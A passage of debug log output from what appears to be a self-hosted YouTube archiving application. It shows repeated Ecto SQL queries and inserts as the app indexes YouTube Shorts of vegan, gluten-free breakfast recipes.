s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:56.788 [debug] QUERY OK source="sources" db=0.6ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:56.791 [debug] QUERY OK source="media_items" db=2.6ms idle=1004.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-26 12:45:00Z], 1] 20:29:56.793 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I love eating toast but just putting butter on it just doesn't fill me up so I like to make my quick and easy breakfast toast a few healthier ways. These are all vegan and gluten-free toast recipes and you can see the full recipe video below or subscribe and check out all my different easy vegan and gluten-free recipes!\n\nFull Recipe Video: https://youtu.be/IimdaH0kc8I", "My Favorite Ways to Make My Toast Healthier for Breakfast #shorts", "e76047bd-d36a-4da5-a887-bc81762d0c60", 1, [], 45, false, "3YLLa-eeGlI", "https://www.youtube.com/shorts/3YLLa-eeGlI", 421, "/downloads/downloads/alec/Steamy Vegan/2022-05-26 My Favorite Ways to Make My Toast Healthier for Breakfast #shorts/My Favorite Ways to Make My Toast Healthier for Breakfast #shorts [3YLLa-eeGlI].NA", false, false, true, 2, ~U[2022-05-26 12:45:00Z], ~U[2026-03-22 03:29:56Z], ~U[2026-03-22 03:29:56Z], "I love eating toast but just putting butter on it just doesn't fill me up so I like to make my quick and easy breakfast toast a few healthier ways. These are all vegan and gluten-free toast recipes and you can see the full recipe video below or subscribe and check out all my different easy vegan and gluten-free recipes!\n\nFull Recipe Video: https://youtu.be/IimdaH0kc8I", "My Favorite Ways to Make My Toast Healthier for Breakfast #shorts", 1, 45, false, "3YLLa-eeGlI", "https://www.youtube.com/shorts/3YLLa-eeGlI", "/downloads/downloads/alec/Steamy Vegan/2022-05-26 My Favorite Ways to Make My Toast Healthier for Breakfast #shorts/My Favorite Ways to Make My Toast Healthier for Breakfast #shorts [3YLLa-eeGlI].NA", true, ~U[2022-05-26 12:45:00Z]] 20:29:56.794 [debug] QUERY OK source="sources" db=0.6ms idle=267.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:56.795 [debug] QUERY OK source="media_profiles" db=0.9ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:56.795 [debug] QUERY OK source="media_items" db=0.5ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [810] 20:29:56.796 [debug] Current batch of media processed. Will check again in 1000ms 20:29:57.797 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I absolutely love this plant-based basil pesto. I put this easy-to-make pesto on pasta, tortilla chips, gluten-free bread, and the list goes on. \n- Full Recipe Video: https://youtu.be/ynFymKYA6-o", "duration" => 39, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-25 This Pesto Will Change Your Life! #shorts/This Pesto Will Change Your Life! #shorts [81fIIv52AMk].NA", "id" => "81fIIv52AMk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/81fIIv52AMk", "playlist_index" => 422, "timestamp" => 1653522300, "title" => "This Pesto Will Change Your Life! #shorts", "upload_date" => "20220525"} 20:29:57.798 [debug] QUERY OK source="sources" db=0.3ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:57.799 [debug] QUERY OK source="sources" db=0.3ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:57.801 [debug] QUERY OK source="media_items" db=2.2ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-25 23:45:00Z], 1] 20:29:57.802 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I absolutely love this plant-based basil pesto. I put this easy-to-make pesto on pasta, tortilla chips, gluten-free bread, and the list goes on. \n- Full Recipe Video: https://youtu.be/ynFymKYA6-o", "This Pesto Will Change Your Life! #shorts", "1a32838e-8341-45bc-bbff-2b58382330dc", 1, [], 39, false, "81fIIv52AMk", "https://www.youtube.com/shorts/81fIIv52AMk", 422, "/downloads/downloads/alec/Steamy Vegan/2022-05-25 This Pesto Will Change Your Life! #shorts/This Pesto Will Change Your Life! #shorts [81fIIv52AMk].NA", false, false, true, 0, ~U[2022-05-25 23:45:00Z], ~U[2026-03-22 03:29:57Z], ~U[2026-03-22 03:29:57Z], "I absolutely love this plant-based basil pesto. I put this easy-to-make pesto on pasta, tortilla chips, gluten-free bread, and the list goes on. \n- Full Recipe Video: https://youtu.be/ynFymKYA6-o", "This Pesto Will Change Your Life! #shorts", 1, 39, false, "81fIIv52AMk", "https://www.youtube.com/shorts/81fIIv52AMk", "/downloads/downloads/alec/Steamy Vegan/2022-05-25 This Pesto Will Change Your Life! #shorts/This Pesto Will Change Your Life! #shorts [81fIIv52AMk].NA", true, ~U[2022-05-25 23:45:00Z]] 20:29:57.803 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=275.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:57.803 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:57.804 [debug] QUERY OK source="media_items" db=0.5ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [811] 20:29:57.804 [debug] Current batch of media processed. Will check again in 1000ms 20:29:58.805 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This quinoa breakfast bowl is gluten-free, vegan, packed full of protein and is the most delicious and nutritious way to start your morning! Want to know what I eat on a gluten-free and vegan diet? Well this is a breakfast bowl I have 2-3 times per week as part of my diet. Check out the full video below to find out some of the other recipes I regularly eat on a gluten-free and vegan diet.\n\nFull Video: https://youtu.be/TMKNdPVZHg8", "duration" => 57, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts/Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts [54dcpcoVAuM].NA", "id" => "54dcpcoVAuM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/54dcpcoVAuM", "playlist_index" => 423, "timestamp" => 1653502500, "title" => "Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts", "upload_date" => "20220525"} 20:29:58.806 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:58.807 [debug] QUERY OK source="sources" db=0.3ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:58.809 [debug] QUERY OK source="media_items" db=2.3ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-25 18:15:00Z], 1] 20:29:58.811 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This quinoa breakfast bowl is gluten-free, vegan, packed full of protein and is the most delicious and nutritious way to start your morning! Want to know what I eat on a gluten-free and vegan diet? Well this is a breakfast bowl I have 2-3 times per week as part of my diet. Check out the full video below to find out some of the other recipes I regularly eat on a gluten-free and vegan diet.\n\nFull Video: https://youtu.be/TMKNdPVZHg8", "Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts", "e7ff4eac-3557-4b74-9cad-b3bac2841f53", 1, [], 57, false, "54dcpcoVAuM", "https://www.youtube.com/shorts/54dcpcoVAuM", 423, "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts/Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts [54dcpcoVAuM].NA", false, false, true, 1, ~U[2022-05-25 18:15:00Z], ~U[2026-03-22 03:29:58Z], ~U[2026-03-22 03:29:58Z], "This quinoa breakfast bowl is gluten-free, vegan, packed full of protein and is the most delicious and nutritious way to start your morning! Want to know what I eat on a gluten-free and vegan diet? Well this is a breakfast bowl I have 2-3 times per week as part of my diet. Check out the full video below to find out some of the other recipes I regularly eat on a gluten-free and vegan diet.\n\nFull Video: https://youtu.be/TMKNdPVZHg8", "Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts", 1, 57, false, "54dcpcoVAuM", "https://www.youtube.com/shorts/54dcpcoVAuM", "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts/Hippie Quinoa Breakfast Bowl - Gluten-Free, Vegan and Protein Packed #shorts [54dcpcoVAuM].NA", true, ~U[2022-05-25 18:15:00Z]] 20:29:58.812 [debug] QUERY OK source="sources" db=0.5ms idle=281.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:58.812 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:58.813 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [812] 20:29:58.813 [debug] Current batch of media processed. Will check again in 1000ms 20:29:59.814 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out the full video for these vegan and gluten free quinoa oat breakfast bars on my channel. These ones are strawberry and banana flavoured and are perfect to meal prep ahead of time and eat throughout the week for breakfast or as a nutritious snack!\n\nFull Video: https://youtu.be/rbG65z34oOI", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe/Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe [yPUuKQ-yH_I].NA", "id" => "yPUuKQ-yH_I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/yPUuKQ-yH_I", "playlist_index" => 424, "timestamp" => 1653483635, "title" => "Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe", "upload_date" => "20220525"} 20:29:59.815 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:59.816 [debug] QUERY OK source="sources" db=0.5ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:59.819 [debug] QUERY OK source="media_items" db=2.5ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-25 13:00:35Z], 1] 20:29:59.821 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out the full video for these vegan and gluten free quinoa oat breakfast bars on my channel. These ones are strawberry and banana flavoured and are perfect to meal prep ahead of time and eat throughout the week for breakfast or as a nutritious snack!\n\nFull Video: https://youtu.be/rbG65z34oOI", "Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe", "498a02a9-c43e-486d-9b95-a92b6c7b7378", 1, [], 59, false, "yPUuKQ-yH_I", "https://www.youtube.com/shorts/yPUuKQ-yH_I", 424, "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe/Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe [yPUuKQ-yH_I].NA", false, false, true, 2, ~U[2022-05-25 13:00:35Z], ~U[2026-03-22 03:29:59Z], ~U[2026-03-22 03:29:59Z], "Check out the full video for these vegan and gluten free quinoa oat breakfast bars on my channel. These ones are strawberry and banana flavoured and are perfect to meal prep ahead of time and eat throughout the week for breakfast or as a nutritious snack!\n\nFull Video: https://youtu.be/rbG65z34oOI", "Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe", 1, 59, false, "yPUuKQ-yH_I", "https://www.youtube.com/shorts/yPUuKQ-yH_I", "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe/Easy Grab and Go Breakfast Bars - Gluten Free and Vegan Breakfast Recipe [yPUuKQ-yH_I].NA", true, ~U[2022-05-25 13:00:35Z]] 20:29:59.822 [debug] QUERY OK source="sources" db=0.8ms idle=288.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:59.823 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:59.824 [debug] QUERY OK source="media_items" db=0.5ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [813] 20:29:59.824 [debug] Current batch of media processed. Will check again in 1000ms 20:30:00.439 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:00.826 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "You will absolutely love this easy granola recipe for your yogurt parfaits or to pour a bit of your favourite plant-based milk over. Meal prep a whole batch of this for your week to make morning breakfasts and snack time way easier.\n\nFull Recipe Video Here: https://youtu.be/QGipOq83NUQ", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts/Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts [72MEU77fQoQ].NA", "id" => "72MEU77fQoQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/72MEU77fQoQ", "playlist_index" => 425, "timestamp" => 1653436885, "title" => "Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts", "upload_date" => "20220525"} 20:30:00.829 [debug] QUERY OK source="sources" db=1.8ms queue=0.5ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:00.829 [debug] QUERY OK source="sources" db=0.4ms idle=1006.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 